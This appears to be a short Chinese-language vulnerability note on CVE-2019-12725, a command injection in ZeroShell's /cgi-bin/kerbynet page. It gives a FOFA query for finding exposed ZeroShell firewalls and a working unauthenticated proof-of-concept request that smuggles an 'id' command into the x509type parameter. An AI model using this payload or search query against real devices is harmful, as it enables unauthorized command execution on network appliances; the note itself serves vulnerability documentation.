ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725.md

938 B / 2021-07-04 06:01:08
    # ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725

## 漏洞描述

ZeroShell 3.9.0 存在命令执行漏洞，/cgi-bin/kerbynet 页面，x509type 参数过滤不严格，导致攻击者可执行任意命令

## 漏洞影响

> [!NOTE]
>
> ZeroShell < 3.9.0

## FOFA

> [!NOTE]
>
> app="Zeroshell-防火墙"

## 漏洞复现

登录页面如下

![](http://wikioss.peiqi.tech/vuln/zm-2.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

验证的POC为

```
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27
```

![](http://wikioss.peiqi.tech/vuln/zm-1.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)